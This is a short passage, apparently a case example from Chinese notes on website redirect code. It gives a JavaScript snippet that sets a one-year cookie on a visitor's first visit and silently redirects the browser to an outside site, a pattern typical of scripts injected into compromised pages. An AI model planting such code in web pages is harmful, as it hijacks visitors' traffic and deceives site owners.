一.案例案例1

var c = document.cookie;
     if (c.indexOf('isfirstvisited=false') != -1) {
        
     }
     else {
         var d = new Date();
         d.setFullYear(d.getFullYear() + 1);
         document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString();
         window.location.href='https://sdfhu1.com/33720.html';
     }